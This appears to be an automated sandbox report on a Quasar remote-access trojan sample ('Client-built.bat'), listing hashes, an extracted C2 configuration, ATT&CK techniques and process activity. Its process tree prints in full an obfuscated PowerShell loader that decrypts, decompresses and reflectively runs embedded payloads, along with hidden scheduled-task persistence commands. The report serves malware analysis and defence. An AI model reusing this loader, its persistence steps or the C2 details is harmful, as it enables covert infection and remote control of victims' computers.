quasar | 69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da

General

Target

Client-built.bat
Size

1.9MB
MD5

ca98faeecf7f69f417e6b8e706986b2e
SHA1

2ed0d04b476658f57e50b86dba53cdc0edb379e8
SHA256

69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da
SHA512

ad3a6e51492f68bf623b08d01d8d9cc9bc58a6496e04c734ddacd2be120987f56ff228bf24f92a67aff408d801a670cfbb83564907219523776b7a8263b41d64
SSDEEP

24576:DqPPl9YNqSrDNfqgg4edWKa1tpD0jH3F8DbFkBNKUXuiFgZULkB4VmVc0i6MwGxb:W1cqzx/WOrBSkQJ8b

Score

10^/10

quasar new execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0

Botnet

New

C2

even-lemon.gl.at.ply.gg:33587

Mutex

2bce5514-d527-4787-825c-3042f9dd5ede

Attributes

encryption_key
501DB7A849356BF2C272A70D53FAF39F17D4245C
install_name
WinHost32.exe
log_directory
UpdateLogs
reconnect_delay
3000
startup_key
Powershell
subdirectory
System32

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1116-143-0x00000276603E0000-0x00000276606FE000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4980 powershell.exe
1116 powershell.exe
4708 powershell.exe

pid	process
4980	powershell.exe
1116	powershell.exe
4708	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

WinHost32.exe

pid process

2036 WinHost32.exe

pid	process
2036	WinHost32.exe

Drops file in System32 directory 5 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Powershell	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

320 schtasks.exe
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe

pid	process
320	schtasks.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 15 IoCs

Processes:

svchost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133600010094500853"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133596474547727688"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133600010112156993"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133596474545384007"	svchost.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exepowershell.exepowershell.exeWinHost32.exe

pid	process
4708	powershell.exe
4708	powershell.exe
4980	powershell.exe
4980	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
2036	WinHost32.exe
2036	WinHost32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeIncreaseQuotaPrivilege	4980	powershell.exe
Token: SeSecurityPrivilege	4980	powershell.exe
Token: SeTakeOwnershipPrivilege	4980	powershell.exe
Token: SeLoadDriverPrivilege	4980	powershell.exe
Token: SeSystemProfilePrivilege	4980	powershell.exe
Token: SeSystemtimePrivilege	4980	powershell.exe
Token: SeProfSingleProcessPrivilege	4980	powershell.exe
Token: SeIncBasePriorityPrivilege	4980	powershell.exe
Token: SeCreatePagefilePrivilege	4980	powershell.exe
Token: SeBackupPrivilege	4980	powershell.exe
Token: SeRestorePrivilege	4980	powershell.exe
Token: SeShutdownPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeSystemEnvironmentPrivilege	4980	powershell.exe
Token: SeRemoteShutdownPrivilege	4980	powershell.exe
Token: SeUndockPrivilege	4980	powershell.exe
Token: SeManageVolumePrivilege	4980	powershell.exe
Token: 33	4980	powershell.exe
Token: 34	4980	powershell.exe
Token: 35	4980	powershell.exe
Token: 36	4980	powershell.exe
Token: SeIncreaseQuotaPrivilege	4980	powershell.exe
Token: SeSecurityPrivilege	4980	powershell.exe
Token: SeTakeOwnershipPrivilege	4980	powershell.exe
Token: SeLoadDriverPrivilege	4980	powershell.exe
Token: SeSystemProfilePrivilege	4980	powershell.exe
Token: SeSystemtimePrivilege	4980	powershell.exe
Token: SeProfSingleProcessPrivilege	4980	powershell.exe
Token: SeIncBasePriorityPrivilege	4980	powershell.exe
Token: SeCreatePagefilePrivilege	4980	powershell.exe
Token: SeBackupPrivilege	4980	powershell.exe
Token: SeRestorePrivilege	4980	powershell.exe
Token: SeShutdownPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeSystemEnvironmentPrivilege	4980	powershell.exe
Token: SeRemoteShutdownPrivilege	4980	powershell.exe
Token: SeUndockPrivilege	4980	powershell.exe
Token: SeManageVolumePrivilege	4980	powershell.exe
Token: 33	4980	powershell.exe
Token: 34	4980	powershell.exe
Token: 35	4980	powershell.exe
Token: 36	4980	powershell.exe
Token: SeIncreaseQuotaPrivilege	4980	powershell.exe
Token: SeSecurityPrivilege	4980	powershell.exe
Token: SeTakeOwnershipPrivilege	4980	powershell.exe
Token: SeLoadDriverPrivilege	4980	powershell.exe
Token: SeSystemProfilePrivilege	4980	powershell.exe
Token: SeSystemtimePrivilege	4980	powershell.exe
Token: SeProfSingleProcessPrivilege	4980	powershell.exe
Token: SeIncBasePriorityPrivilege	4980	powershell.exe
Token: SeCreatePagefilePrivilege	4980	powershell.exe
Token: SeBackupPrivilege	4980	powershell.exe
Token: SeRestorePrivilege	4980	powershell.exe
Token: SeShutdownPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeSystemEnvironmentPrivilege	4980	powershell.exe
Token: SeRemoteShutdownPrivilege	4980	powershell.exe
Token: SeUndockPrivilege	4980	powershell.exe
Token: SeManageVolumePrivilege	4980	powershell.exe
Token: 33	4980	powershell.exe
Token: 34	4980	powershell.exe
Token: 35	4980	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exe

description	pid	process	target process
PID 1196 wrote to memory of 3052	1196	cmd.exe	cmd.exe
PID 1196 wrote to memory of 3052	1196	cmd.exe	cmd.exe
PID 1196 wrote to memory of 4708	1196	cmd.exe	powershell.exe
PID 1196 wrote to memory of 4708	1196	cmd.exe	powershell.exe
PID 4708 wrote to memory of 4980	4708	powershell.exe	powershell.exe
PID 4708 wrote to memory of 4980	4708	powershell.exe	powershell.exe
PID 4708 wrote to memory of 3812	4708	powershell.exe	WScript.exe
PID 4708 wrote to memory of 3812	4708	powershell.exe	WScript.exe
PID 3812 wrote to memory of 1592	3812	WScript.exe	cmd.exe
PID 3812 wrote to memory of 1592	3812	WScript.exe	cmd.exe
PID 1592 wrote to memory of 432	1592	cmd.exe	cmd.exe
PID 1592 wrote to memory of 432	1592	cmd.exe	cmd.exe
PID 1592 wrote to memory of 1116	1592	cmd.exe	powershell.exe
PID 1592 wrote to memory of 1116	1592	cmd.exe	powershell.exe
PID 1116 wrote to memory of 3480	1116	powershell.exe	Explorer.EXE
PID 1116 wrote to memory of 1232	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 5112	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2148	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 952	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1936	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2328	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1144	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 4492	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2716	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1924	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1332	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 732	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 3092	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1512	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1708	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1312	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2684	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1304	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1500	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1696	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2088	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1492	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 900	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 3064	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1484	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 684	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1076	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2572	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1656	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2640	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 864	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1052	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 3696	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 3412	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1044	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 3596	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2012	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1812	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 792	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2392	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1996	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1204	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2188	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 2384	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 1784	1116	powershell.exe	svchost.exe
PID 1116 wrote to memory of 320	1116	powershell.exe	schtasks.exe
PID 1116 wrote to memory of 320	1116	powershell.exe	schtasks.exe
PID 1116 wrote to memory of 2036	1116	powershell.exe	WinHost32.exe
PID 1116 wrote to memory of 2036	1116	powershell.exe	WinHost32.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:792

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
2⤵
PID:4396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1196

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfcFzG8RsgFQuzCbge5AZWKnjDyvcb7J2DMyfnjW+WE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0LkWuaxKmd71m5FdnY80w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vGXxC=New-Object System.IO.MemoryStream(,$param_var); $MJyez=New-Object System.IO.MemoryStream; $GEiaV=New-Object System.IO.Compression.GZipStream($vGXxC, [IO.Compression.CompressionMode]::Decompress); $GEiaV.CopyTo($MJyez); $GEiaV.Dispose(); $vGXxC.Dispose(); $MJyez.Dispose(); $MJyez.ToArray();}function execute_function($param_var,$param2_var){ $wRrOX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzvg=$wRrOX.EntryPoint; $JYzvg.Invoke($null, $param2_var);}$BMtWH = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $BMtWH;$VjJUr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BMtWH).Split([Environment]::NewLine);foreach ($buUQD in $VjJUr) { if ($buUQD.StartsWith('ZyCIkpbtJnSamEKtqvbb')) { $OKyUT=$buUQD.Substring(20); break; }}$payloads_var=[string[]]$OKyUT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
3⤵
PID:3052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_287_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4980

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:1592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfcFzG8RsgFQuzCbge5AZWKnjDyvcb7J2DMyfnjW+WE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0LkWuaxKmd71m5FdnY80w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vGXxC=New-Object System.IO.MemoryStream(,$param_var); $MJyez=New-Object System.IO.MemoryStream; $GEiaV=New-Object System.IO.Compression.GZipStream($vGXxC, [IO.Compression.CompressionMode]::Decompress); $GEiaV.CopyTo($MJyez); $GEiaV.Dispose(); $vGXxC.Dispose(); $MJyez.Dispose(); $MJyez.ToArray();}function execute_function($param_var,$param2_var){ $wRrOX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzvg=$wRrOX.EntryPoint; $JYzvg.Invoke($null, $param2_var);}$BMtWH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.bat';$host.UI.RawUI.WindowTitle = $BMtWH;$VjJUr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BMtWH).Split([Environment]::NewLine);foreach ($buUQD in $VjJUr) { if ($buUQD.StartsWith('ZyCIkpbtJnSamEKtqvbb')) { $OKyUT=$buUQD.Substring(20); break; }}$payloads_var=[string[]]$OKyUT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
6⤵
PID:432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe" /rl HIGHEST /f
7⤵
- Creates scheduled task(s)
PID:320

C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe
"C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
